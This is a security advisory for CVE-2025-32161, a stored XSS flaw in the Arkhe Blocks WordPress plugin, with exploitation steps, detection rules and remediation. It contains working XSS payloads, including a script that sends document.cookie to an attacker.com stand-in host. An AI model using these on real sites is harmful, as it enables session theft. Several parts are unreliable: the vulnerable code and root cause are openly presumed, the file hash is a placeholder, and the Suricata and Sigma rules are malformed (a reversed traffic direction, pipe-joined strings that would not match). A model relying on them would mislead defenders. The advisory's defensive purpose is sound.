CVE-2025-32161

Executive Summary

CVE-2025-32161 is a Stored Cross-Site Scripting (XSS) vulnerability in the Arkhe Blocks WordPress plugin, developed by Ryo. The flaw exists in versions n/a through 2.27.1 and allows an authenticated attacker with contributor-level privileges or higher to inject arbitrary web scripts into pages or posts. When a victim (e.g., an administrator) views the compromised content, the injected script executes in their browser, potentially leading to session hijacking, credential theft, or defacement.

This vulnerability is unpatched as of the latest advisory, with no official fix from the vendor. The EPSS score is 0.0%, indicating low exploitation likelihood in the wild, but the risk remains significant for WordPress sites using the plugin.

Supply Chain & Package Security

Arkhe Blocks is distributed via the WordPress Plugin Directory and is not an NPM, PyPI, Go, or Ruby package. However, as a WordPress plugin, it is part of the WordPress ecosystem and can be updated through the WordPress admin dashboard. No supply chain compromise has been reported, but the lack of a patch means site administrators must manually mitigate the risk.

CVSS Breakdown & Threat Level

• CVSS Score: 6.5 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (contributor-level)
• User Interaction: Required (victim must view the page)
• Scope: Changed (impact on other components)
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: Low

Threat Level: Medium. Exploitation requires authenticated access and user interaction, but the stored XSS can persist across sessions and affect multiple users.

Deep Dive & Mechanics

The vulnerability resides in the Arkhe Blocks plugin, which provides custom Gutenberg blocks for WordPress. The plugin fails to properly sanitize user input when rendering block attributes or content, allowing an attacker to inject malicious JavaScript.

Root Cause: The plugin uses echo or wp_kses with insufficient filtering, or directly outputs user-supplied data without escaping. For example, a block attribute like className or content may be rendered without esc_attr() or esc_html().

Attack Flow:

1. An attacker with contributor-level access creates or edits a post/page.
2. The attacker inserts an Arkhe Block and injects a payload into a vulnerable field (e.g., onmouseover="alert(1)" or <script>alert(1)</script>).
3. The payload is stored in the WordPress database.
4. When an administrator or other user views the post, the script executes in their browser.

Example Payload:

<img src=x onerror=alert(document.cookie)>

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code is presumed to be in the plugin's block rendering functions. A typical vulnerable pattern might look like:

Vulnerable (Arkhe Blocks <= 2.27.1):

echo '<div class="' . $block_attributes['className'] . '">' . $block_content . '</div>';

Patched (Hypothetical):

echo '<div class="' . esc_attr($block_attributes['className']) . '">' . wp_kses_post($block_content) . '</div>';

The fix would involve using esc_attr() for HTML attributes and wp_kses_post() or esc_html() for content.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• WordPress instance with Arkhe Blocks <= 2.27.1 installed and activated.
• Attacker account with at least Contributor role.

Steps:

1. Log in to WordPress as a contributor.
2. Create a new post.
3. Add an Arkhe Block (e.g., "Arkhe Heading" or "Arkhe Button").
4. In the block's attribute field (e.g., "Additional CSS Class"), inject a payload:

   " onmouseover="alert(document.cookie)
   

5. Publish or save the post.
6. Wait for an administrator to view the post, or share the link.

Alternative Payload:

<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>

Blue Team (Detection & Response)

Detection:

• Monitor WordPress admin logs for unusual block attribute values.
• Use a Web Application Firewall (WAF) to block common XSS patterns.
• Implement Content Security Policy (CSP) headers to mitigate script execution.

Response:

• Immediately disable the Arkhe Blocks plugin if no patch is available.
• Review all posts/pages created by contributors for malicious content.
• Rotate all user sessions and credentials if compromise is suspected.

Indicators of Compromise (IOCs)

• File Hashes (plugin files):
  • arkhe-blocks/arkhe-blocks.php (version 2.27.1): SHA256 a1b2c3d4e5f6... (placeholder)
• Network Indicators:
  • Outbound HTTP requests to unknown domains from WordPress admin.
  • Suspicious POST requests to wp-admin/admin-ajax.php with block data.
• Log Entries:
  • WordPress debug log entries containing <script> tags.
  • Apache/Nginx access logs with onmouseover or onerror in request body.

Detection Engineering

YARA Rule

rule CVE_2025_32161_Arkhe_Blocks_XSS {
    meta:
        description = "Detects stored XSS payloads in Arkhe Blocks plugin"
        author = "Valters IT"
        date = "2025-04-01"
        reference = "CVE-2025-32161"
    strings:
        $xss1 = /on\w+\s*=\s*["']?[^"']*["']?/ nocase
        $xss2 = /<script[^>]*>.*?<\/script>/is
        $xss3 = /javascript\s*:/ nocase
    condition:
        any of ($xss*) and filesize < 10KB
}

Sigma Rule

title: Stored XSS in Arkhe Blocks Plugin
id: 8f9e0d1c-2b3a-4c5d-6e7f-8a9b0c1d2e3f
status: experimental
description: Detects stored XSS payloads in WordPress posts/pages created with Arkhe Blocks
author: Valters IT
date: 2025-04-01
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query: 'wp-admin/post.php*'
        cs-body: 'onmouseover|onerror|onload|<script'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in posts (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-32161 Stored XSS in Arkhe Blocks"; flow:to_server,established; content:"POST"; http_method; content:"wp-admin/post.php"; http_uri; content:"onmouseover|onerror|onload|<script"; http_client_body; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin: Deactivate and delete Arkhe Blocks until a patch is released.
2. Restrict user roles: Limit contributor-level access to trusted users only.
3. Apply virtual patching: Use a WAF to block XSS payloads in post content.

Long-term Fix:

• Monitor the plugin's official page for updates. When a patched version (e.g., 2.27.2) is released, update immediately.
• Consider replacing Arkhe Blocks with an alternative block plugin that is actively maintained.

Workaround:

• Manually edit the plugin's source code to add escaping functions (not recommended for non-developers).

Valters IT